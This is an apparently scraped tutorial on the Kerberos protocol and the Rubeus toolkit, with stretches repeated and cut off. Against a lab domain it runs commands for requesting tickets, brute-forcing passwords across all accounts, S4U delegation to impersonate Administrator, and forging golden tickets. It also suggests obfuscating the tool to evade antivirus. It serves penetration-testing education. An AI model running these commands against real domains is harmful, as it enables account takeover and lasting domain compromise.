Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles A Detailed Guide on Rubeus IntroductionRubeus is a C# toolkit for Kerberos interaction and abuses. Kerberos, as we all know, is a ticket-based network authentication protocol and is used in Active Directories. Unfortunately, due to human…
ntains:
* Session key
* The expiration date of TGT
* TGT, (Locked with Krbtgt Hash: Yellow Key) which contains:
* Username
* Session key
* The expiration date of TGT
* PAC with user privileges, signed by KDC
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8cs4DxTHhCqS9yUAa3yOwC8e3ElB50XZ4QyOkWXIEAGssMdjBPNsGVaDz274Z8voKtHNoBHD9qD6PKPvp9KLzdxjUzRtSc_UQ7Jz03v5BHEwhP7wm09K-81SGcv3qTyJ1UDyctCHyDc_PgLZbe4A5GipaqZmDU649RWcNbQtIpM6o6DvKicqXTU5vQA/s16000/2.png?w=640&ssl=1
Step 3: The KRB_TGT will be stored in the Kerberos tray (Memory) of the client machine, as the user already has the KRB_TGT, which is used to identify himself for the TGS request. The client sent a copy of the TGT with the encrypted data to KDC.
KRB_TGS_REQ contains:
* Encrypted data with the session key
* Username
* Timestamp
* TGT
* SPN of requested service e.g. SQL service
Step 4: The KDC receives the KRB_TGS_REQ message and decrypts the message using Krbtgt hash to verify TGT (Unlock using Yellow key), then KDC returns a TGS as KRB_TGS_REP which is encrypted using requested service hash (Locked with Red Key) & Some Encrypted Message using User Hash.
KRB_TGS_REP contains:
* Username
* Encrypted data with the session key:
* Service session key
* The expiration date of TGS
* TGS, (Service Hash: RED Key) which contains:
* Service session key
* Username
* The expiration date of TGS
* PAC with user privileges, signed by KDC
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEljfKE_fFEoR8kThrILtnjmFwQPfM61p-SZh6Xg64sLUv7GzLgsvk6Ni5YhC8A7ILETnBFHbsa2ldkL6u1mrWGkDStzkFSP9oCeg3cO_9QxjyltM0ZpKm5Jf2oV8lo-IsfR2C7-jAAaRyWTu_Sofn4TV7BhIl0fj5fYPIicSjbScOtyUql25EmTo-Tw/s16000/3.png?w=640&ssl=1
Step 5: The user sent the copy of TGS to the Application Server,
KRB_AP_REQ contains:
* TGS
* Encrypted data with the service session key:
* Username
* Timestamp, to avoid replay attacks
Step 6: The application attempts to decrypt the message using its NTLM hash and to verify the PAC from KDC to identify user Privilege which is an optional case.
Step 7: KDC verifies PAC (Optional)
Step 8: Allow the user to access the service for a specific time.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRHXkmSPIEHuM9dyJhlgCc66g2Wvae-afz5tM2Ui8GeJ_5pV0jigtJzOklbyzaPSRLqzVngR9tT1wBa7ie5RZNfkwdLL7wzKDVtcNrl59SV_3C5qPe4owTSFyBg3-jR72lv9kk96DuEnODa3gRgM-AKL9SoCtc_sqVlwKwFyrikvGhZ_WCqRFRmJ8sIQ/s16000/4.png?w=640&ssl=1 Service Principal NameThe Service Principal Name (SPN) is a unique identifier for a service instance. Active Directory Domain Services and Windows provide support for Service Principal Names (SPNs), which are key components of the Kerberos mechanism through which a client authenticates a service.
Important Points
* If you install multiple instances of a service on computers throughout a forest, each instance must have its SPN.
* Before the Kerberos authentication service can use an SPN to authenticate a service, the SPN must be registered on the account.
* A given SPN can be registered on only one account.
* An SPN must be unique in the forest in which it is registered.
* If it is not unique, authentication will fail.
The SPN syntax has four elements
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5w4iPbIsIxS5VNUzD13_nOXg-0AbmhtwdJWBUqi4keSFbajcnh5Bgqro7FOj686VwDTBbtu0oYjZbBGRyRWxUHy8EAJp8jmUQpDBymwTWzE_9RIpwOkK2Ul6bxIbDZSwHYhknzECBwjBEd4VU5HyMeCciosGRPfcjbaN62fLe6WPiArdLqlHrpGMKOQ/s16000/5.png?w=640&ssl=1
Type of SPN:
* Host-based SPNs which is associated with the computer account in AD, it is randomly generated 128-character long password which is changed every 30 days; hence it is no use in Kerberoasting attacks
* SPNs that have been associated with a domain user account where NTLM hash will be used. Rubeus setupGreek mythology mentions a three-headed dog called “Cerberus” which sounds similar to “Kerberos” (maybe even the inspi[...]
___________________________
@hacking_Attack
@Hacking_Video
* Session key
* The expiration date of TGT
* TGT, (Locked with Krbtgt Hash: Yellow Key) which contains:
* Username
* Session key
* The expiration date of TGT
* PAC with user privileges, signed by KDC
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8cs4DxTHhCqS9yUAa3yOwC8e3ElB50XZ4QyOkWXIEAGssMdjBPNsGVaDz274Z8voKtHNoBHD9qD6PKPvp9KLzdxjUzRtSc_UQ7Jz03v5BHEwhP7wm09K-81SGcv3qTyJ1UDyctCHyDc_PgLZbe4A5GipaqZmDU649RWcNbQtIpM6o6DvKicqXTU5vQA/s16000/2.png?w=640&ssl=1
Step 3: The KRB_TGT will be stored in the Kerberos tray (Memory) of the client machine, as the user already has the KRB_TGT, which is used to identify himself for the TGS request. The client sent a copy of the TGT with the encrypted data to KDC.
KRB_TGS_REQ contains:
* Encrypted data with the session key
* Username
* Timestamp
* TGT
* SPN of requested service e.g. SQL service
Step 4: The KDC receives the KRB_TGS_REQ message and decrypts the message using Krbtgt hash to verify TGT (Unlock using Yellow key), then KDC returns a TGS as KRB_TGS_REP which is encrypted using requested service hash (Locked with Red Key) & Some Encrypted Message using User Hash.
KRB_TGS_REP contains:
* Username
* Encrypted data with the session key:
* Service session key
* The expiration date of TGS
* TGS, (Service Hash: RED Key) which contains:
* Service session key
* Username
* The expiration date of TGS
* PAC with user privileges, signed by KDC
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEljfKE_fFEoR8kThrILtnjmFwQPfM61p-SZh6Xg64sLUv7GzLgsvk6Ni5YhC8A7ILETnBFHbsa2ldkL6u1mrWGkDStzkFSP9oCeg3cO_9QxjyltM0ZpKm5Jf2oV8lo-IsfR2C7-jAAaRyWTu_Sofn4TV7BhIl0fj5fYPIicSjbScOtyUql25EmTo-Tw/s16000/3.png?w=640&ssl=1
Step 5: The user sent the copy of TGS to the Application Server,
KRB_AP_REQ contains:
* TGS
* Encrypted data with the service session key:
* Username
* Timestamp, to avoid replay attacks
Step 6: The application attempts to decrypt the message using its NTLM hash and to verify the PAC from KDC to identify user Privilege which is an optional case.
Step 7: KDC verifies PAC (Optional)
Step 8: Allow the user to access the service for a specific time.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRHXkmSPIEHuM9dyJhlgCc66g2Wvae-afz5tM2Ui8GeJ_5pV0jigtJzOklbyzaPSRLqzVngR9tT1wBa7ie5RZNfkwdLL7wzKDVtcNrl59SV_3C5qPe4owTSFyBg3-jR72lv9kk96DuEnODa3gRgM-AKL9SoCtc_sqVlwKwFyrikvGhZ_WCqRFRmJ8sIQ/s16000/4.png?w=640&ssl=1 Service Principal NameThe Service Principal Name (SPN) is a unique identifier for a service instance. Active Directory Domain Services and Windows provide support for Service Principal Names (SPNs), which are key components of the Kerberos mechanism through which a client authenticates a service.
Important Points
* If you install multiple instances of a service on computers throughout a forest, each instance must have its SPN.
* Before the Kerberos authentication service can use an SPN to authenticate a service, the SPN must be registered on the account.
* A given SPN can be registered on only one account.
* An SPN must be unique in the forest in which it is registered.
* If it is not unique, authentication will fail.
The SPN syntax has four elements
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5w4iPbIsIxS5VNUzD13_nOXg-0AbmhtwdJWBUqi4keSFbajcnh5Bgqro7FOj686VwDTBbtu0oYjZbBGRyRWxUHy8EAJp8jmUQpDBymwTWzE_9RIpwOkK2Ul6bxIbDZSwHYhknzECBwjBEd4VU5HyMeCciosGRPfcjbaN62fLe6WPiArdLqlHrpGMKOQ/s16000/5.png?w=640&ssl=1
Type of SPN:
* Host-based SPNs which is associated with the computer account in AD, it is randomly generated 128-character long password which is changed every 30 days; hence it is no use in Kerberoasting attacks
* SPNs that have been associated with a domain user account where NTLM hash will be used. Rubeus setupGreek mythology mentions a three-headed dog called “Cerberus” which sounds similar to “Kerberos” (maybe even the inspi[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
ntains: * Session key * The expiration date of TGT * TGT, (Locked with Krbtgt Hash: Yellow Key) which contains: * Username * Session key * The expiration date of TGT * PAC with user privileges, signed by KDC https://i0.wp.com/blogger.googleusercontent…
ration for the name!). Harry Potter also mentions a three-headed dog called “fluffy” that belonged to and could be controlled by Hagrid whose full name was Rubeus Hagrid. With a name cleverly based on Sci-Fi and mythology, Rubeus is a tool, developed by Will Schroeder and a few other contributors, that attacks Kerberos and is capable of generating raw Kerberos data on UDP port 88. It is derived from Mimikatz and MakeMeEnterpriseAdmin projects. It can be downloaded here.
Please note that the most recent Rubeus binary can be compiled from code by using Visual Studio but a release for ease of use can also be found here.
Detection: Due to the usage of generic functions and derivation from Mimikatz (kekeo family of malware as per CARO) and set procedures, its signatures are by default blocked in many anti-viruses. Plus, Rubeus works as a dropped executable and so, a clever attacker needs to obfuscate Rubeus to hide its detection as soon as it’s dropped on the disk.
Once downloaded, it can be dropped on the victim’s system and run
rubeus.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTVpFoBLj7Ukc0w8gy5-l8CHAkwMOcyG1pKNoxygVQ9nN7JK-0PIX3Sx-xciBUjtQuRH-HNIYLWyQiXwBseD2ow1ZLrX2gZHeIWArw_pDZ73_2-OjMkHmQyuZwrj_EyOrKnoaaI1FUPwqpIh2tFCumCwbS9x1uZMxb7cXdgvoUFBcE7E_SbyWFtl8IOA/s16000/6.png?w=640&ssl=1
Now that we have set it up, we are ready to demonstrate various options in Rubeus. Ticket OperationsWorking in an Active Directory environment depends on various tickets. For example, a Ticket Granting Ticket is an authentication token issued by the KDC which is used to request access from TGS for specific resources.
In this section, we’ll talk about Rubeus and its capability to play around with tickets.
Asktgt
Rubeus can generate raw AS-REQ traffic in order to ask for a TGT with a provided username and password. The password can also be encrypted in RC4, AES or DES encryption and it would still work. Let’s see an example where clear-text password is supplied
rubeus.exe asktgt /user:harshitrajpal /password:Password@1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoZ7cs-QGTlKd5Bzpz77QkG6O6Fi72ldE6ow6UL-XPUd9C67hSeOJi9oqI3KMjzHTeXnrzsh4gfW3_YzzHX-Vo79aphiKA-HUtp49i8dnjHouPnzQQ1Jiwjr9VToCj5KtwWhqgKICUBgw2CTYT47tQELkP85ZBab2vugzQn6WmCr5hj5uZMJ-dITJOhg/s16000/7.png?w=640&ssl=1
As you can see above that a KRBTGT has been successfully generated which can be further used to generate TGS. The same can be achieved by providing an encrypted password. Let’s use a password encrypted with the RC4 cipher.
rubeus.exe asktgt /user:harshitrajpal /rc4:64FBAE31CC352FC26AF97CBDEF151E03
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6vfMUCFomJiyWrerwcZuM3nwQpfznhLsINzT8AiGJoXTgS0g42p3tERFo0ub34PI3SLF_XLstk_lq9rrbJE4Vjq6Wfvdho0Ntfs870KbT5wB9Mxk-vHTcAht8sC4fkWmU5YV_0BkOm5ILs9gJ8Nq6euvG-wncjJMfoaTn1fc5MpmzXNXSTjmm2JPc4g/s16000/8.png?w=640&ssl=1
Asktgs
Rubeus has an asktgs option which can build raw TGS-REP requests by providing a ticket either in the CLI argument or by providing a path to a ticket.kirbi file placed on disk. Each TGS has a specified purpose.
For example, let’s create a TGS for the LDAP service. One or more service SPNs can be provided.
rubeus.exe asktgs /user:harshitrajpal /ticket:doIFNDCCBTCgAwIBB...bA== /service:LDAP/dc1.ignite.local
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMI6bD_rWmk3OnNX-A2fyRHpOAOuMB9C_79YtSoJITgwK-vMjtkrKnt8HmLMzt6zM0amwmzw8khiMatpV1CW9XCCRjp-1qhcbIWxz3yDZFfNs04v3DGllEd0ZROjkRqwd1ghVF3WbPCfx6HReUAb67OMvMV7IKrIl4zIa5oEwoIwTjRHSO5EJcNCqPIg/s16000/9.png?w=640&ssl=1
By providing in the TGT we generated in the previous step (copying in notepad and removing enters to type the ticket in a single line) we have generated a TGS successfully.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZIVjHBOo3oUV7kNLe-E4sPeFKTAwW2e0nUV2BxXFxZ2R_Bni2LUjvkiKIL6o0Ugfs_S5N2Q8f383lwlGR0ZYYEcY0VNeha3W0UHtCM8-LaYDxBDWL8GUww5g[...]
___________________________
@hacking_Attack
@Hacking_Video
Please note that the most recent Rubeus binary can be compiled from code by using Visual Studio but a release for ease of use can also be found here.
Detection: Due to the usage of generic functions and derivation from Mimikatz (kekeo family of malware as per CARO) and set procedures, its signatures are by default blocked in many anti-viruses. Plus, Rubeus works as a dropped executable and so, a clever attacker needs to obfuscate Rubeus to hide its detection as soon as it’s dropped on the disk.
Once downloaded, it can be dropped on the victim’s system and run
rubeus.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTVpFoBLj7Ukc0w8gy5-l8CHAkwMOcyG1pKNoxygVQ9nN7JK-0PIX3Sx-xciBUjtQuRH-HNIYLWyQiXwBseD2ow1ZLrX2gZHeIWArw_pDZ73_2-OjMkHmQyuZwrj_EyOrKnoaaI1FUPwqpIh2tFCumCwbS9x1uZMxb7cXdgvoUFBcE7E_SbyWFtl8IOA/s16000/6.png?w=640&ssl=1
Now that we have set it up, we are ready to demonstrate various options in Rubeus. Ticket OperationsWorking in an Active Directory environment depends on various tickets. For example, a Ticket Granting Ticket is an authentication token issued by the KDC which is used to request access from TGS for specific resources.
In this section, we’ll talk about Rubeus and its capability to play around with tickets.
Asktgt
Rubeus can generate raw AS-REQ traffic in order to ask for a TGT with a provided username and password. The password can also be encrypted in RC4, AES or DES encryption and it would still work. Let’s see an example where clear-text password is supplied
rubeus.exe asktgt /user:harshitrajpal /password:Password@1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoZ7cs-QGTlKd5Bzpz77QkG6O6Fi72ldE6ow6UL-XPUd9C67hSeOJi9oqI3KMjzHTeXnrzsh4gfW3_YzzHX-Vo79aphiKA-HUtp49i8dnjHouPnzQQ1Jiwjr9VToCj5KtwWhqgKICUBgw2CTYT47tQELkP85ZBab2vugzQn6WmCr5hj5uZMJ-dITJOhg/s16000/7.png?w=640&ssl=1
As you can see above that a KRBTGT has been successfully generated which can be further used to generate TGS. The same can be achieved by providing an encrypted password. Let’s use a password encrypted with the RC4 cipher.
rubeus.exe asktgt /user:harshitrajpal /rc4:64FBAE31CC352FC26AF97CBDEF151E03
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6vfMUCFomJiyWrerwcZuM3nwQpfznhLsINzT8AiGJoXTgS0g42p3tERFo0ub34PI3SLF_XLstk_lq9rrbJE4Vjq6Wfvdho0Ntfs870KbT5wB9Mxk-vHTcAht8sC4fkWmU5YV_0BkOm5ILs9gJ8Nq6euvG-wncjJMfoaTn1fc5MpmzXNXSTjmm2JPc4g/s16000/8.png?w=640&ssl=1
Asktgs
Rubeus has an asktgs option which can build raw TGS-REP requests by providing a ticket either in the CLI argument or by providing a path to a ticket.kirbi file placed on disk. Each TGS has a specified purpose.
For example, let’s create a TGS for the LDAP service. One or more service SPNs can be provided.
rubeus.exe asktgs /user:harshitrajpal /ticket:doIFNDCCBTCgAwIBB...bA== /service:LDAP/dc1.ignite.local
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMI6bD_rWmk3OnNX-A2fyRHpOAOuMB9C_79YtSoJITgwK-vMjtkrKnt8HmLMzt6zM0amwmzw8khiMatpV1CW9XCCRjp-1qhcbIWxz3yDZFfNs04v3DGllEd0ZROjkRqwd1ghVF3WbPCfx6HReUAb67OMvMV7IKrIl4zIa5oEwoIwTjRHSO5EJcNCqPIg/s16000/9.png?w=640&ssl=1
By providing in the TGT we generated in the previous step (copying in notepad and removing enters to type the ticket in a single line) we have generated a TGS successfully.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZIVjHBOo3oUV7kNLe-E4sPeFKTAwW2e0nUV2BxXFxZ2R_Bni2LUjvkiKIL6o0Ugfs_S5N2Q8f383lwlGR0ZYYEcY0VNeha3W0UHtCM8-LaYDxBDWL8GUww5g[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
ration for the name!). Harry Potter also mentions a three-headed dog called “fluffy” that belonged to and could be controlled by Hagrid whose full name was Rubeus Hagrid. With a name cleverly based on Sci-Fi and mythology, Rubeus is a tool, developed by Will…
K3Bb29OUr5U5FB2trJ4h7A3hJEP6BGlNBjcmbBBnaQ2pGfA1Yq7d0REz4DLydwjMjcw/s16000/10.png?w=640&ssl=1
Klist
Klist command in Windows can be used to view the tickets generated in the system. Here, when we run klist command we can see that a KRBTGT and an LDAP TGS have been generated and stored in the session.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXmMQ3Twpy5cfkNrwiuysEB9XtIXh5Onuq41Bmss3tO8zzDskS2mgte_KiIvRlPd_RyXr0MAFRP1tuBCkp4nZsAnXwW_gvyP0Fc0LsftC28dDE-V4DQIGExLvnrGD37LUhlyzROJIrdVf4hBDa0HNFhlZzjLIzQfedFGmAA3UzYsbDNPP-7dSmT2mL3w/s16000/11.png?w=640&ssl=1
Renew
The renew function in Rubeus builds a TGT renewal exchange. We can specify a domain controller using the /dc flag which will be used as a destination for the renewal traffic. We can further use the tgtdeleg option with this and extract user’s credentials without elevation and keep it alive on another system for a week by default.
/ptt flag can also be used in conjunction to apply the Kerberos
rubeus.exe renew /dc:dc1.ignite.local /ticket:doIFNDCCB....bA==
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0GpSeTg61s0HWOXUHdRK5JkiFgSUmbHE6Hu8QPFINoVu4eEqrhwjcHgkE1N0vy8W_JenfEymZ7Wuzom7DSJ6SB_4A-t6xhhM3YXnM8gN0gu8AVq1yI0boCr_kPi_igdmkLF6SXz_42IPOR0qLwkAk6TffeJVnoZkAvNtc6zcQaccR5YRLVheZyn2dfQ/s16000/12.png?w=640&ssl=1
/autorenew sub function will put the exchange to sleep for endTime 30 minutes and after that window automatically renew the TGT and display the renewed ticket
rubeus.exe renew /dc:dc1.ignite.local /autorenew /ticket:doIFNDCCBTCgAw...bA==
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirxuh_4JAood6FK5wMIFjbbs0mBlJXHHg46gL0FKhJWDkjDN3w9wfsBIexmRzJAtlxXozcTEeCVpU6C46ls0Pfp71GSt6jQTo9ma5H7Vph83B8TsK9lpiHim6VtnmtHOxxdXiLt1dEorn2IWthB-ugOAgUBNXAmseTdzwrlN7MjsNfuW6mQAsP8Y3FJw/s16000/14.png?w=640&ssl=1
As you may now observe that after a specified time interval a renewed TGT is shown
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9bgCsSYADAltUs7Q3vRTfTZDSOf9wRunhlIc3WNMZQChVO_iVgdHe8bCNACLVVLt4o4Ewk9U78KMJ3wiuwYiQGmsuWgp0W6T3wLYBVOKmBS7VZjRBPxEZJs_Tx-slKrZI9fPJxIKrhQXu7tbQR3966yrXxlLgVFsOFzb-zOtRAhv2U4Wb1xoa9HuNxQ/s16000/15.png?w=640&ssl=1
Brute
The brute option in Rubeus can be used to perform a password bruteforce attack against all the existing user accounts in Active Directory. Many times, the same password is used with multiple accounts in real-life enterprise infrastructure. So, brute option can generate multiple TGTs in those accounts having the same password. /noticket can be used in conjunction with this option since no ticket is provided with this functionality. For example,
rubeus.exe brute /password:Password@1 /noticket
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8INMtJE1du0EspNXMj77ZWTFOnXpqubTigbJ7OEAxdyYRsYdzmFOJ6-4TC9981a5sSh1gSumtK8toDQRacSx-xpU2atrsKCEmiXTlzVuc-WEDEfA_JGRDYtF14fyCnh9rpUCKBdyVKWzgX7BauXZv9MNt-_w1XmV8xOiuN4ZaLpQmy_5xzuuxZDvivA/s16000/16.png?w=640&ssl=1 HashRubeus is capable of taking in passwords and generating hashes of them. These are of different formats including NTLM (rc4_hmac) hash. To do this, we can use a hash function and provide a domain using /domain, an account’s name (can be a machine account too) using the/user flag and the password using /password.
rubeus.exe hash /user:harshitrajpal /domain:ignite.local /password:Password@1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZwNam6iqN9HFpOVruPYUbfV6Fv4Jdy5rhK3M5jh0bC0T8fCyiuaBZGICX4VpQMH8VgHtHC-W_xc75J_k3fc9VlCPhPjJAwrAYd2EjRxisDx0J7AA0RVzq8v1QSHG9EBQ_vKxFfwqIN8UxppwBCl4X6AlqH31yo_kUhXtwIoC6FMMXQjdIxkj4RM_RXA/s16000/17.png?w=640&ssl=1
As you can see 4 different hashes have been output. Various encryption ciphers are used in conjunction with popular hashing techniques. All of these ciphers are supported in AD environment and hence, may be used for different purposes. S4uWe saw above how we can generate hashes using Rubeus.[...]
___________________________
@hacking_Attack
@Hacking_Video
Klist
Klist command in Windows can be used to view the tickets generated in the system. Here, when we run klist command we can see that a KRBTGT and an LDAP TGS have been generated and stored in the session.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXmMQ3Twpy5cfkNrwiuysEB9XtIXh5Onuq41Bmss3tO8zzDskS2mgte_KiIvRlPd_RyXr0MAFRP1tuBCkp4nZsAnXwW_gvyP0Fc0LsftC28dDE-V4DQIGExLvnrGD37LUhlyzROJIrdVf4hBDa0HNFhlZzjLIzQfedFGmAA3UzYsbDNPP-7dSmT2mL3w/s16000/11.png?w=640&ssl=1
Renew
The renew function in Rubeus builds a TGT renewal exchange. We can specify a domain controller using the /dc flag which will be used as a destination for the renewal traffic. We can further use the tgtdeleg option with this and extract user’s credentials without elevation and keep it alive on another system for a week by default.
/ptt flag can also be used in conjunction to apply the Kerberos
rubeus.exe renew /dc:dc1.ignite.local /ticket:doIFNDCCB....bA==
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0GpSeTg61s0HWOXUHdRK5JkiFgSUmbHE6Hu8QPFINoVu4eEqrhwjcHgkE1N0vy8W_JenfEymZ7Wuzom7DSJ6SB_4A-t6xhhM3YXnM8gN0gu8AVq1yI0boCr_kPi_igdmkLF6SXz_42IPOR0qLwkAk6TffeJVnoZkAvNtc6zcQaccR5YRLVheZyn2dfQ/s16000/12.png?w=640&ssl=1
/autorenew sub function will put the exchange to sleep for endTime 30 minutes and after that window automatically renew the TGT and display the renewed ticket
rubeus.exe renew /dc:dc1.ignite.local /autorenew /ticket:doIFNDCCBTCgAw...bA==
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirxuh_4JAood6FK5wMIFjbbs0mBlJXHHg46gL0FKhJWDkjDN3w9wfsBIexmRzJAtlxXozcTEeCVpU6C46ls0Pfp71GSt6jQTo9ma5H7Vph83B8TsK9lpiHim6VtnmtHOxxdXiLt1dEorn2IWthB-ugOAgUBNXAmseTdzwrlN7MjsNfuW6mQAsP8Y3FJw/s16000/14.png?w=640&ssl=1
As you may now observe that after a specified time interval a renewed TGT is shown
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9bgCsSYADAltUs7Q3vRTfTZDSOf9wRunhlIc3WNMZQChVO_iVgdHe8bCNACLVVLt4o4Ewk9U78KMJ3wiuwYiQGmsuWgp0W6T3wLYBVOKmBS7VZjRBPxEZJs_Tx-slKrZI9fPJxIKrhQXu7tbQR3966yrXxlLgVFsOFzb-zOtRAhv2U4Wb1xoa9HuNxQ/s16000/15.png?w=640&ssl=1
Brute
The brute option in Rubeus can be used to perform a password bruteforce attack against all the existing user accounts in Active Directory. Many times, the same password is used with multiple accounts in real-life enterprise infrastructure. So, brute option can generate multiple TGTs in those accounts having the same password. /noticket can be used in conjunction with this option since no ticket is provided with this functionality. For example,
rubeus.exe brute /password:Password@1 /noticket
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8INMtJE1du0EspNXMj77ZWTFOnXpqubTigbJ7OEAxdyYRsYdzmFOJ6-4TC9981a5sSh1gSumtK8toDQRacSx-xpU2atrsKCEmiXTlzVuc-WEDEfA_JGRDYtF14fyCnh9rpUCKBdyVKWzgX7BauXZv9MNt-_w1XmV8xOiuN4ZaLpQmy_5xzuuxZDvivA/s16000/16.png?w=640&ssl=1 HashRubeus is capable of taking in passwords and generating hashes of them. These are of different formats including NTLM (rc4_hmac) hash. To do this, we can use a hash function and provide a domain using /domain, an account’s name (can be a machine account too) using the/user flag and the password using /password.
rubeus.exe hash /user:harshitrajpal /domain:ignite.local /password:Password@1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZwNam6iqN9HFpOVruPYUbfV6Fv4Jdy5rhK3M5jh0bC0T8fCyiuaBZGICX4VpQMH8VgHtHC-W_xc75J_k3fc9VlCPhPjJAwrAYd2EjRxisDx0J7AA0RVzq8v1QSHG9EBQ_vKxFfwqIN8UxppwBCl4X6AlqH31yo_kUhXtwIoC6FMMXQjdIxkj4RM_RXA/s16000/17.png?w=640&ssl=1
As you can see 4 different hashes have been output. Various encryption ciphers are used in conjunction with popular hashing techniques. All of these ciphers are supported in AD environment and hence, may be used for different purposes. S4uWe saw above how we can generate hashes using Rubeus.[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
K3Bb29OUr5U5FB2trJ4h7A3hJEP6BGlNBjcmbBBnaQ2pGfA1Yq7d0REz4DLydwjMjcw/s16000/10.png?w=640&ssl=1 Klist Klist command in Windows can be used to view the tickets generated in the system. Here, when we run klist command we can see that a KRBTGT and an LDAP TGS…
Now let’s talk about one such attack where hashes can be used to impersonate another user and carry out delegation attacks. For a detailed write-up on delegation, and attacks follow the link here. In short, OS post-Windows server 2003 contained a Kerberos protocol extension called s4uself and s4uproxy. These protocols can be used to conduct delegation attacks. For example, in the example below, we have performed an attack called “Resource-Based Constrained Delegation” which benefits the msDS-AllowedToActOnBehalfOfAnotherIdentity option set in the attribute’s editor. Follow the article here for a full attack. In the example below, we’ll use the user noob’s hash and then impersonate Administrator account.
/rc4: flag is used to provide user noob’s account.
/impersonateuser: User that will be impersonated by noob.
/msdsspn: A valid msDS-AllowedToActOnBehalfOfAnotherIdentity value for the account. Here, the domain controller
/altservice: can be supplied to substitute one or more service names in the resulting .kirbi file.
/ptt: Injects the resulting ticket in the current terminal session
rubeus.exe s4u /user:noob$ /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /impersonateuser:Administrator /msdsspn:host/dc1.ignite.local /altservice:cifs /domain:ignite.local /ptt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKaBMUp5U77qh_6bLSEV5bfowSgiBZUnNH2RVGlwxy6mUTG9N64BCvW5gcbsu6DIUNQ2Y3AmFBysTZZBbaXsZSivH7JAfNBMHVF9NjFyNc3_6qdjTyVa2Oh5Y3lkzvTMlMV0NptR-PLeyvgEPczWZdi1gf_AhJm9H_3vq1zXG_68zKek31PTNhtK5QDw/s16000/18.png?w=640&ssl=1
This would generate a ticket for Administrator user over the specified SPN. In short, we can now act as DC.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUB3Gg2Pl5L3PtqMzd7Q7xa8K50p7yK8r3YqVEj5VgHAcAClYIFIwE4kiN-UcO58nHkB5BjLOOtlEAAIcd86f0oq3_I6K2XCmjkFVZnjDUggjoiycvgi9tOn-iuZ1FeiJY4BoxpP2dfMdC7xFQH7vpG-ahmBvjzVP1_QE6Hlv-LjJqBDnqkIi03zzb6A/s16000/19.png?w=640&ssl=1 Golden TicketGolden tickets are forged KRBTGTs (Key Distribution Service account) which can be used to forge other TGTs. This provides an attacker persistence over the domain accounts. For a detailed walkthrough on the topic you can visit the article here.
To forge a golden ticket for user harshitrajpal, we first generate an AES hash (RC4 works too) using the hash command in Rubeus and then using the golden function like so. Here,
/ldap: Retrieves information of user over LDAP protocol
/user: Username whose ticket will be forged
/printcmd: displays a one liner command that can be used to generate the ticket again that just got generated
rubeus.exe hash /user:harshitrajpal /domain:ignite.local /password:Password@1
rubeus.exe golden /aes256:EA2344691D140975946372D18949706857EB9C5F65855B0E159E54260BEB365C /ldap /user:harshitrajpal /printcmd
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPW0OyVNb9deU4qubrM9AEjoOx7201V4pamhV-2Mru0bgQtPYpuvLlJkuOKv4V4mm0Oev2mb8XOF3JccaoZz3xtI5l8psPzgyrBbsYNB8lN3BjcNIVbbiit7B6-ly-ba4JeQ_aKuWgmQp_Vlwgiopb3z763jc82mW25GyqIOdhlWEV8YtqKGQsI6GQVA/s16000/20.png?w=640&ssl=1
As you can see various details like SID, userID, Service Key etc are being fetched over LDAP which are important to generate a ticket. PAC signing is also done and a TGT generated for harshitrajpal
